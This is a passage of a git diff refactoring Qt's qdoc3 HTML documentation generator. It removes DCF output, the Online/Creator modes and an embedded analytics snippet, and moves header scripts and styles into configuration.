+    project.files.insert(HtmlGenerator::fullDocumentLocation(rootNode));
 
     generateSections(project, writer, rootNode);
 
@@ -658,7 +656,7 @@ void HelpProjectWriter::generateProject(HelpProject &project)
 
                             const FakeNode *page = tree->findFakeNodeByTitle(atom->string());
                             writer.writeStartElement("section");
-                            QString indexPath = tree->fullDocumentLocation(page);
+                            QString indexPath = HtmlGenerator::fullDocumentLocation(page);
                             writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
                             writer.writeAttribute("title", atom->string());
                             project.files.insert(indexPath);
@@ -683,7 +681,7 @@ void HelpProjectWriter::generateProject(HelpProject &project)
 
             if (!name.isEmpty()) {
                 writer.writeStartElement("section");
-                QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle));
+                QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle));
                 writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
                 writer.writeAttribute("title", subproject.title);
                 project.files.insert(indexPath);
diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
index 9ddf6e8..0ff28af 100644
--- a/tools/qdoc3/htmlgenerator.cpp
+++ b/tools/qdoc3/htmlgenerator.cpp
@@ -56,6 +56,7 @@
 #include <qlist.h>
 #include <qiterator.h>
 #include <qtextcodec.h>
+#include <QUuid>
 
 QT_BEGIN_NAMESPACE
 
@@ -63,10 +64,6 @@ QT_BEGIN_NAMESPACE
 int HtmlGenerator::id = 0;
 bool HtmlGenerator::debugging_on = false;
 
-#if 0
-QString HtmlGenerator::divNavTop = "<div class=\"navTop\"><a href=\"#toc\"><img src=\"./images/bullet_up.png\"></a></div>";
-#endif
-
 QString HtmlGenerator::divNavTop = "";
 
 QString HtmlGenerator::sinceTitles[] =
@@ -93,7 +90,7 @@ static bool showBrokenLinks = false;
 static QRegExp linkTag("(<@link node=\"([^\"]+)\">).*(</@link>)");
 static QRegExp funcTag("(<@func target=\"([^\"]*)\">)(.*)(</@func>)");
 static QRegExp typeTag("(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)");
-static QRegExp spanTag("</@(?:comment|preprocessor|string|char)>");
+static QRegExp spanTag("</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>");
 static QRegExp unknownTag("</?@[^>]*>");
 
 bool parseArg(const QString &src,
@@ -214,15 +211,14 @@ static void addLink(const QString &linkTarget,
 HtmlGenerator::HtmlGenerator()
     : helpProjectWriter(0),
       inLink(false),
+      inObsoleteLink(false),
       inContents(false),
       inSectionHeading(false),
       inTableHeader(false),
       numTableRows(0),
       threeColumnEnumValueTable(true),
-      application(Online),
       funcLeftParen("\\S(\\()"),
       myTree(0),
-      slow(false),
       obsoleteLinks(false)
 {
 }
@@ -263,19 +259,16 @@ void HtmlGenerator::initializeGenerator(const Config &config)
 
     style = config.getString(HtmlGenerator::format() +
                              Config::dot +
-                             HTMLGENERATOR_STYLE);
+                             CONFIG_STYLE);
+    endHeader = config.getString(HtmlGenerator::format() +
+                                 Config::dot +
+                                 CONFIG_ENDHEADER);
     postHeader = config.getString(HtmlGenerator::format() +
                                   Config::dot +
                                   HTMLGENERATOR_POSTHEADER);
     postPostHeader = config.getString(HtmlGenerator::format() +
                                       Config::dot +
                                       HTMLGENERATOR_POSTPOSTHEADER);
-    creatorPostHeader = config.getString(HtmlGenerator::format() +
-                                  Config::dot +
-                                  HTMLGENERATOR_CREATORPOSTHEADER);
-    creatorPostPostHeader = config.getString(HtmlGenerator::format() +
-                                      Config::dot +
-                                      HTMLGENERATOR_CREATORPOSTPOSTHEADER);
     footer = config.getString(HtmlGenerator::format() +
                               Config::dot +
                               HTMLGENERATOR_FOOTER);
@@ -288,14 +281,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
 
     project = config.getString(CONFIG_PROJECT);
 
-    QString app = config.getString(CONFIG_APPLICATION);
-    if (app == "online")
-        application = Online;
-    else if (app == "creator")
-        application = Creator;
-    else 
-        application = Creator;
-
     projectDescription = config.getString(CONFIG_DESCRIPTION);
     if (projectDescription.isEmpty() && !project.isEmpty())
         projectDescription = project + " Reference Documentation";
@@ -334,19 +319,18 @@ void HtmlGenerator::initializeGenerator(const Config &config)
         ++edition;
     }
 
-    slow = config.getBool(CONFIG_SLOW);
-
-    stylesheets = config.getStringList(HtmlGenerator::format() +
-                                       Config::dot +
-                                       HTMLGENERATOR_STYLESHEETS);
-    customHeadElements = config.getStringList(HtmlGenerator::format() +
-                                              Config::dot +
-                                              HTMLGENERATOR_CUSTOMHEADELEMENTS);
     codeIndent = config.getInt(CONFIG_CODEINDENT);
 
     helpProjectWriter = new HelpProjectWriter(config,
                                               project.toLower() +
                                               ".qhp");
+
+    // Documentation template handling
+    headerScripts = config.getString(HtmlGenerator::format() + Config::dot +
+                                   CONFIG_HEADERSCRIPTS);
+    headerStyles = config.getString(HtmlGenerator::format() +
+                                       Config::dot +
+                                       CONFIG_HEADERSTYLES);
 }
 
 void HtmlGenerator::terminateGenerator()
@@ -360,11 +344,11 @@ QString HtmlGenerator::format()
 }
 
 /*!
-  This is where the html files and dcf files are written.
-  \note The html file generation is done in the base class,
+  This is where the HTML files are written.
+  \note The HTML file generation is done in the base class,
   PageGenerator::generateTree().
  */
-void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void HtmlGenerator::generateTree(const Tree *tree)
 {
     myTree = tree;
     nonCompatClasses.clear();
@@ -383,48 +367,11 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
     findAllNamespaces(tree->root());
     findAllSince(tree->root());
 
-    PageGenerator::generateTree(tree, marker);
-
-    dcfClassesRoot.ref = "classes.html";
-    dcfClassesRoot.title = "Classes";
-    qSort(dcfClassesRoot.subsections);
-
-    dcfOverviewsRoot.ref = "overviews.html";
-    dcfOverviewsRoot.title = "Overviews";
-    qSort(dcfOverviewsRoot.subsections);
-
-    dcfExamplesRoot.ref = "examples.html";
-    dcfExamplesRoot.title = "Tutorial & Examples";
-    qSort(dcfExamplesRoot.subsections);
-
-    DcfSection qtRoot;
-    appendDcfSubSection(&qtRoot, dcfClassesRoot);
-    appendDcfSubSection(&qtRoot, dcfOverviewsRoot);
-    appendDcfSubSection(&qtRoot, dcfExamplesRoot);
-
-    generateDcf(project.toLower().simplified().replace(" ", "-"),
-                "index.html",
-                projectDescription, qtRoot);
-    generateDcf("designer",
-                "designer-manual.html",
-                "Qt Designer Manual",
-                dcfDesignerRoot);
-    generateDcf("linguist",
-                "linguist-manual.html",
-                "Qt Linguist Manual",
-                dcfLinguistRoot);
-    generateDcf("assistant",
-                "assistant-manual.html",
-                "Qt Assistant Manual",
-                dcfAssistantRoot);
-    generateDcf("qmake",
-                "qmake-manual.html",
-                "qmake Manual",
-                dcfQmakeRoot);
+    PageGenerator::generateTree(tree);
 
     QString fileBase = project.toLower().simplified().replace(" ", "-");
     generateIndex(fileBase, projectUrl, projectDescription);
-    generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker);
+    generatePageIndex(outputDir() + "/" + fileBase + ".pageindex");
 
     helpProjectWriter->generate(myTree);
 }
@@ -517,24 +464,33 @@ int HtmlGenerator::generateAtom(const Atom *atom,
             out() << "</p>\n";
         break;
     case Atom::C:
+        // This may at one time have been used to mark up C++ code but it is
+        // now widely used to write teletype text. As a result, text marked
+        // with the \c command is not passed to a code marker.
         out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE];
         if (inLink) {
             out() << protectEnc(plainCode(atom->string()));
         }
         else {
-            out() << highlightedCode(atom->string(), marker, relative);
+            out() << protectEnc(plainCode(atom->string()));
         }
         out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE];
         break;
     case Atom::Code:
-        out() << "<pre class=\"highlightedCode brush: cpp\">"
+        out() << "<pre class=\"cpp\">"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "</pre>\n";
         break;
 #ifdef QDOC_QML
     case Atom::Qml:
-        out() << "<pre class=\"highlightedCode brush: cpp\">"
+        out() << "<pre class=\"qml\">"
+              << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
+                                                 marker,relative))
+              << "</pre>\n";
+        break;
+    case Atom::JavaScript:
+        out() << "<pre class=\"js\">"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "</pre>\n";
@@ -542,7 +498,7 @@ int HtmlGenerator::generateAtom(const Atom *atom,
 #endif
     case Atom::CodeNew:
         out() << "<p>you can rewrite it as</p>\n"
-              << "<pre class=\"highlightedCode brush: cpp\">"
+              << "<pre class=\"cpp\">"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "</pre>\n";
@@ -551,10 +507,17 @@ int HtmlGenerator::generateAtom(const Atom *atom,
         out() << "<p>For example, if you have code like</p>\n";
         // fallthrough
     case Atom::CodeBad:
-        out() << "<pre class=\"highlightedCode brush: cpp\">"
+        out() << "<pre class=\"cpp\">"
               << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
               << "</pre>\n";
         break;
+    case Atom::Div:
+        out() << "<div";
+        if (!atom->string().isEmpty())
+            out() << " class=\"" << atom->string() << "\">";
+        else
+            out() << ">";
+        break;
     case Atom::FootnoteLeft:
         // ### For now
         if (in_para) {
@@ -1062,26 +1025,8 @@ int HtmlGenerator::generateAtom(const Atom *atom,
         out() << atom->string();
         break;
     case Atom::SectionLeft:
-#if 0
-        {
-            int nextLevel = atom->string().toInt();
-            if (sectionNumber.size() < nextLevel) {
-                do {
-                    sectionNumber.append("1");
-                } while (sectionNumber.size() < nextLevel);
-            }
-            else {
-                while (sectionNumber.size() > nextLevel) {
-                    sectionNumber.removeLast();
-                }
-                sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
-            }
-            out() << "<a name=\"sec-" << sectionNumber.join("-") << "\"></a>" << divNavTop << "\n";
-        }
-#else
         out() << "<a name=\"" << Doc::canonicalTitle(Text::sectionHeading(atom).toString())
               << "\"></a>" << divNavTop << "\n";
-#endif
         break;
     case Atom::SectionRight:
         break;
@@ -1180,33 +1125,6 @@ int HtmlGenerator::generateAtom(const Atom *atom,
             skipAhead = 1;
         break;
     case Atom::TableOfContents:
-        {
-            int numColumns = 1;
-            const Node *node = relative;
-
-            Doc::SectioningUnit sectioningUnit = Doc::Section4;
-            QStringList params = atom->string().split(",");
-            QString columnText = params.at(0);
-            QStringList pieces = columnText.split(" ", QString::SkipEmptyParts);
-            if (pieces.size() >= 2) {
-                columnText = pieces.at(0);
-                pieces.pop_front();
-                QString path = pieces.join(" ").trimmed();
-                node = findNodeForTarget(path, relative, marker, atom);
-            }
-
-            if (params.size() == 2) {
-                numColumns = qMax(columnText.toInt(), numColumns);
-                sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt();
-            }
-
-            if (node)
-                generateTableOfContents(node,
-                                        marker,
-                                        sectioningUnit,
-                                        numColumns,
-                                        relative);
-        }
         break;
     case Atom::Target:
         out() << "<a name=\"" << Doc::canonicalTitle(atom->string()) << "\"></a>";
@@ -1218,6 +1136,9 @@ int HtmlGenerator::generateAtom(const Atom *atom,
         out() << "<b class=\"redFont\"><code>\\" << protectEnc(atom->string())
               << "</code></b>";
         break;
+    case Atom::EndDiv:
+        out() << "</div>";
+        break;
 #ifdef QDOC_QML
     case Atom::QmlText:
     case Atom::EndQmlText:
@@ -1258,11 +1179,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
         title = rawTitle + " Class Reference";
     }
 
-    DcfSection classSection;
-    classSection.title = title;
-    classSection.ref = linkForNode(inner, 0);
-    classSection.keywords += qMakePair(inner->name(), classSection.ref);
-
     Text subtitleText;
     if (rawTitle != fullTitle)
         subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")"
@@ -1425,8 +1341,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
                         names << plainCode(marker->markedUpEnumValue(enumName,
                                                                      enume));
                 }
-                foreach (const QString &name, names)
-                    classSection.keywords += qMakePair(name,linkForNode(*m,0));
             }
             ++m;
         }
@@ -1435,39 +1349,15 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
         ++s;
     }
     generateFooter(inner);
-
-    if (!membersLink.isEmpty()) {
-        DcfSection membersSection;
-        membersSection.title = "List of all members";
-        membersSection.ref = membersLink;
-        appendDcfSubSection(&classSection, membersSection);
-    }
-    if (!obsoleteLink.isEmpty()) {
-        DcfSection obsoleteSection;
-        obsoleteSection.title = "Obsolete members";
-        obsoleteSection.ref = obsoleteLink;
-        appendDcfSubSection(&classSection, obsoleteSection);
-    }
-    if (!compatLink.isEmpty()) {
-        DcfSection compatSection;
-        compatSection.title = "Qt 3 support members";
-        compatSection.ref = compatLink;
-        appendDcfSubSection(&classSection, compatSection);
-    }
-
-    appendDcfSubSection(&dcfClassesRoot, classSection);
 }
 
 /*!
-  Generate the html page for a qdoc file that doesn't map
-  to an underlying c++ file.
+  Generate the HTML page for a qdoc file that doesn't map
+  to an underlying C++ file.
  */
 void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
 {
     SubTitleSize subTitleSize = LargeSubTitle;
-    DcfSection fakeSection;
-    fakeSection.title = fake->fullTitle();
-    fakeSection.ref = linkForNode(fake, 0);
 
     QList<Section> sections;
     QList<Section>::const_iterator s;
@@ -1481,6 +1371,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
     else if (fake->subType() == Node::QmlBasicType) {
         fullTitle = "QML Basic Type: " + fullTitle;
         htmlTitle = fullTitle;
+
+        // Replace the marker with a QML code marker.
+        marker = CodeMarker::markerForLanguage(QLatin1String("QML"));
     }
 
     generateHeader(htmlTitle, fake, marker);
@@ -1494,6 +1387,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
         qml_cn = static_cast<const QmlClassNode*>(fake);
         sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0);
         generateTableOfContents(fake,marker,&sections);
+
+        // Replace the marker with a QML code marker.
+        marker = CodeMarker::markerForLanguage(QLatin1String("QML"));
     }
     else if (fake->name() != QString("index.html"))
         generateTableOfContents(fake,marker,0);
@@ -1547,25 +1443,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
                   << "Qt 3 support members</a></li>\n";
 
         out() << "</ul>\n";
-
-        if (!membersLink.isEmpty()) {
-            DcfSection membersSection;
-            membersSection.title = "List of all members";
-            membersSection.ref = membersLink;
-            appendDcfSubSection(&fakeSection, membersSection);
-        }
-        if (!obsoleteLink.isEmpty()) {
-            DcfSection obsoleteSection;
-            obsoleteSection.title = "Obsolete members";
-            obsoleteSection.ref = obsoleteLink;
-            appendDcfSubSection(&fakeSection, obsoleteSection);
-        }
-        if (!compatLink.isEmpty()) {
-            DcfSection compatSection;
-            compatSection.title = "Qt 3 support members";
-            compatSection.ref = compatLink;
-            appendDcfSubSection(&fakeSection, compatSection);
-        }
     }
 #ifdef QDOC_QML
     else if (fake->subType() == Node::QmlClass) {
@@ -1608,8 +1485,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
             while (m != (*s).members.end()) {
                 generateDetailedQmlMember(*m, fake, marker);
                 out() << "<br/>\n";
-                fakeSection.keywords += qMakePair((*m)->name(),
-                                                  linkForNode(*m,0));
                 ++m;
             }
             ++s;
@@ -1618,7 +1493,7 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
         return;
     }
 #endif
-    
+
     sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay);
     s = sections.begin();
     while (s != sections.end()) {
@@ -1654,8 +1529,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
         generateAnnotatedList(fake, marker, groupMembersMap);
     }
 
-    fakeSection.keywords += qMakePair(fakeSection.title, fakeSection.ref);
-
     sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay);
     s = sections.begin();
     while (s != sections.end()) {
@@ -1665,35 +1538,11 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
         NodeList::ConstIterator m = (*s).members.begin();
         while (m != (*s).members.end()) {
             generateDetailedMember(*m, fake, marker);
-            fakeSection.keywords += qMakePair((*m)->name(), linkForNode(*m, 0));
             ++m;
         }
         ++s;
     }
     generateFooter(fake);
-
-    if (fake->subType() == Node::Example) {
-        appendDcfSubSection(&dcfExamplesRoot, fakeSection);
-    }
-    else if (fake->subType() != Node::File) {
-        QString contentsPage = fake->links().value(Node::ContentsLink).first;
-
-        if (contentsPage == "Qt Designer Manual") {
-            appendDcfSubSection(&dcfDesignerRoot, fakeSection);
-        }
-        else if (contentsPage == "Qt Linguist Manual") {
-            appendDcfSubSection(&dcfLinguistRoot, fakeSection);
-        }
-        else if (contentsPage == "Qt Assistant Manual") {
-            appendDcfSubSection(&dcfAssistantRoot, fakeSection);
-        }
-        else if (contentsPage == "qmake Manual") {
-            appendDcfSubSection(&dcfQmakeRoot, fakeSection);
-        }
-        else {
-            appendDcfSubSection(&dcfOverviewsRoot, fakeSection);
-        }
-    }
 }
 
 /*!
@@ -1787,94 +1636,35 @@ void HtmlGenerator::generateHeader(const QString& title,
     out() << QString("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"%1\" lang=\"%1\">\n").arg(naturalLanguage);
     out() << "<head>\n";
     out() << "  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n";
-    QString shortVersion;
-    shortVersion = project + " " + shortVersion + ": ";
     if (node && !node->doc().location().isEmpty())
         out() << "<!-- " << node->doc().location().fileName() << " -->\n";
 
-    shortVersion = myTree->version();
+    QString shortVersion = myTree->version();
     if (shortVersion.count(QChar('.')) == 2)
         shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
-    if (!shortVersion.isEmpty()) {
-        if (project == "QSA")
-            shortVersion = "QSA " + shortVersion + ": ";
-        else
-            shortVersion = "Qt " + shortVersion + ": ";
-    }
+    if (!project.isEmpty())
+        shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": ");
+    else
+        shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": ");
 
     // Generating page title
     out() << "  <title>" << shortVersion << protectEnc(title) << "</title>\n";
-    // Adding style sheet
-    out() << "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n";
-    // Adding jquery and functions - providing online tools and search features
-    out() << "  <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n";
-    out() << "  <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n";
-
-
-    // Adding syntax highlighter         // future release
-
-    // Setting some additional style sheet related details depending on configuration (e.g. Online/Creator)
-
-    switch (application) {
-    case Online:
-    // Adding style and js for small windows
-        out() << "  <script src=\"./scripts/superfish.js\" type=\"text/javascript\"></script>\n";
-        out() << "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />";
-        out() << "  <script src=\"./scripts/narrow.js\" type=\"text/javascript\"></script>\n";
-        out() << "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n";
-        // Browser spec styles
-        out() << "  <!--[if IE]>\n";
-        out() << "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n";
-        out() << "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n";
-        out() << "<![endif]-->\n";
-        out() << "<!--[if lt IE 7]>\n";
-        out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n";
-        out() << "<![endif]-->\n";
-        out() << "<!--[if IE 7]>\n";
-        out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n";
-        out() << "<![endif]-->\n";
-        out() << "<!--[if IE 8]>\n";
-        out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n";
-        out() << "<![endif]-->\n";
-
-        out() << "</head>\n";
-        // CheckEmptyAndLoadList activating search
-        out() << "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n";
-        break;
-    case Creator:
-        out() << "</head>\n";
-        out() << "<body class=\"offline narrow creator\">\n"; // offline narrow
-        break;
-    default:
-        out() << "</head>\n";
-        out() << "<body>\n";
-        break;
-    }
+
+    // Include style sheet and script links.
+    out() << headerStyles;
+    out() << headerScripts;
+    out() << endHeader;
 
 #ifdef GENERATE_MAC_REFS    
     if (mainPage)
         generateMacRef(node, marker);
 #endif   
  
-    switch (application) {
-    case Online:
-        out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        generateBreadCrumbs(title,node,marker);
-        out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        break;
-    case Creator:
-        out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        generateBreadCrumbs(title,node,marker);
-        out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        break;
-    default: // default -- not used except if one forgets to set any of the above settings to true
-        out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        generateBreadCrumbs(title,node,marker);
-        out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-        break;
-    }
+    out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
+    generateBreadCrumbs(title,node,marker);
+    out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
 
-        navigationLinks.clear();
+    navigationLinks.clear();
 
     if (node && !node->links().empty()) {
         QPair<QString,QString> linkPair;
@@ -1960,30 +1750,8 @@ void HtmlGenerator::generateFooter(const Node *node)
     out() << QString(footer).replace("\\" + COMMAND_VERSION, myTree->version())
           << QString(address).replace("\\" + COMMAND_VERSION, myTree->version());
 
-    switch (application) {
-    case Online:
-        out() << "  <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n";
-        out() << "  <script type=\"text/javascript\">\n";
-        out() << "  var _gaq = _gaq || [];\n";
-        out() << "  _gaq.push(['_setAccount', 'UA-4457116-5']);\n";
-        out() << "  _gaq.push(['_trackPageview']);\n";
-        out() << "  (function() {\n";
-        out() << "  var ga = document.createElement('script'); ";
-        out() << "ga.type = 'text/javascript'; ga.async = true;\n";
-        out() << "  ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + ";
-        out() << "'.google-analytics.com/ga.js';\n";
-        out() << "  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n";
-        out() << "  })();\n";
-        out() << "  </script>\n";
-        out() << "</body>\n";
-        break;
-    case Creator:
-        out() << "</body>\n";
-        break;
-    default:
-        out() << "</body>\n";
-    }
-          out() <<   "</html>\n";
+    out() << "</body>\n";
+    out() << "</html>\n";
 }
 
 void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker,
@@ -2009,7 +1777,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker,
 void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
 {
     if (!inner->includes().isEmpty()) {
-        out() << "<pre class=\"highlightedCode brush: cpp\">"
+        out() << "<pre class=\"cpp\">"
               << trimmedTrailing(highlightedCode(indent(codeIndent,
                                                         marker->markedUpIncludes(inner->includes())),
                                                  marker,inner))
@@ -2018,91 +1786,6 @@ void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
 }
 
 /*!
-  Generates a table of contents beginning at \a node.
- */
-void HtmlGenerator::generateTableOfContents(const Node *node,
-                                            CodeMarker *marker,
-                                            Doc::SectioningUnit sectioningUnit,
-                                            int numColumns,
-                                            const Node *relative)
-
-{
-    return;
-    if (!node->doc().hasTableOfContents())
-        return;
-    QList<Atom *> toc = node->doc().tableOfContents();
-    if (toc.isEmpty())
-        return;
-
-    QString nodeName = "";
-    if (node != relative)
-        nodeName = node->name();
-
-    QStringList sectionNumber;
-    int columnSize = 0;
-
-    QString tdTag;
-    if (numColumns > 1) {
-        tdTag = "<td>"; /* width=\"" + QString::number((100 + numColumns - 1) / numColumns) + "%\">";*/
-        out() << "<table class=\"toc\">\n<tr class=\"topAlign\">"
-              << tdTag << "\n";
-    }
-
-    // disable nested links in table of contents
-    inContents = true;
-    inLink = true;
-
-    for (int i = 0; i < toc.size(); ++i) {
-        Atom *atom = toc.at(i);
-
-        int nextLevel = atom->string().toInt();
-        if (nextLevel > (int)sectioningUnit)
-            continue;
-
-        if (sectionNumber.size() < nextLevel) {
-            do {
-                out() << "<ul>";
-                sectionNumber.append("1");
-            } while (sectionNumber.size() < nextLevel);
-        }
-        else {
-            while (sectionNumber.size() > nextLevel) {
-                out() << "</ul>\n";
-                sectionNumber.removeLast();
-            }
-            sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
-        }
-        int numAtoms;
-        Text headingText = Text::sectionHeading(atom);
-
-        if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) {
-            out() << "</ul></td>" << tdTag << "<ul>\n";
-            columnSize = 0;
-        }
-        out() << "<li>";
-        out() << "<a href=\""
-              << nodeName
-              << "#"
-              << Doc::canonicalTitle(headingText.toString())
-              << "\">";
-        generateAtomList(headingText.firstAtom(), node, marker, true, numAtoms);
-        out() << "</a></li>\n";
-
-        ++columnSize;
-    }
-    while (!sectionNumber.isEmpty()) {
-        out() << "</ul>\n";
-        sectionNumber.removeLast();
-    }
-
-    if (numColumns > 1)
-        out() << "</td></tr></table>\n";
-
-    inContents = false;
-    inLink = false;
-}
-
-/*!
   Revised for the new doc format.
   Generates a table of contents beginning at \a node.
  */
@@ -2219,39 +1902,6 @@ void HtmlGenerator::generateTableOfContents(const Node *node,
     inLink = false;
 }
 
-#if 0
-void HtmlGenerator::generateNavigationBar(const NavigationBar& bar,
-                                           const Node *node,
-                                           CodeMarker *marker)
-{
-    if (bar.prev.begin() != 0 || bar.current.begin() != 0 ||
-         bar.next.begin() != 0) {
-        out() << "<p class=\"rightAlign\">";
-        if (bar.prev.begin() != 0) {
-#if 0
-            out() << "[<a href=\"" << section.previousBaseName()
-                  << ".html\">Prev: ";
-            generateText(section.previousHeading(), node, marker);
-            out() << "</a>]\n";
-#endif
-        }
-        if (fake->name() != QString("index.html")) {
-            if (bar.current.begin() != 0) {
-                out() << "[<a href=\"" << "home"
-                      << ".html\">Home</a>]\n";
-            }
-            if (bar.next.begin() != 0) {
-                out() << "[<a href=\"" << fileBase(node, bar.next)
-                      << ".html\">Next: ";
-                generateText(Text::sectionHeading(bar.next.begin()), node, marker);
-                out() << "</a>]\n";
-            }
-            out() << "</p>\n";
-        }
-    }
-}
-#endif
-
 QString HtmlGenerator::generateListOfAllMemberFile(const InnerNode *inner,
                                                    CodeMarker *marker)
 {
@@ -2421,7 +2071,7 @@ void HtmlGenerator::generateClassHierarchy(const Node *relative,
 
             NodeMap newTop;
             foreach (const RelatedClass &d, child->derivedClasses()) {
-                if (d.access != Node::Private)
+                if (d.access != Node::Private && !d.node->doc().isEmpty())
                     newTop.insert(d.node->name(), d.node);
             }
             if (!newTop.isEmpty()) {
@@ -3111,8 +2761,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
     bool done = false;
     for (int i = 0, srcSize = src.size(); i < srcSize;) {
-        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
-            if (alignNames && !done) {// && (i != 0)) Why was this here?
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            if (alignNames && !done) {
                 html += "</td><td class=\"memItemRight bottomAlign\">";
                 done = true;
             }
@@ -3135,31 +2785,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     }
 
 
-    if (slow) {
-        // is this block ever used at all?
-        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
-        src = html;
-        html = QString();
-        for (int i = 0, srcSize = src.size(); i < srcSize;) {
-            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
-                i += 2;
-                if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
-                    const Node* n = marker->resolveTarget(par1.toString(),
-                                                          myTree,
-                                                          relative);
-                    QString link = linkForNode(n, relative);
-                    addLink(link, arg, &html);
-                    par1 = QStringRef();
-                }
-                else {
-                    html += charLangle;
-                    html += charAt;
-                }
+    // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
+    src = html;
+    html = QString();
+    for (int i = 0, srcSize = src.size(); i < srcSize;) {
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            i += 2;
+            if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
+                const Node* n = marker->resolveTarget(par1.toString(),
+                                                      myTree,
+                                                      relative);
+                QString link = linkForNode(n, relative);
+                addLink(link, arg, &html);
+                par1 = QStringRef();
             }
             else {
-                html += src.at(i++);
+                html += charLangle;
+                html += charAt;
             }
         }
+        else {
+            html += src.at(i++);
+        }
     }
 
     // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
@@ -3173,6 +2820,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
             if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
                 par1 = QStringRef();
                 const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
+                html += QLatin1String("<span class=\"type\">");
                 if (n && n->subType() == Node::QmlBasicType) {
                     if (relative && relative->subType() == Node::QmlClass)
                         addLink(linkForNode(n,relative), arg, &html);
@@ -3181,6 +2829,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                 }
                 else
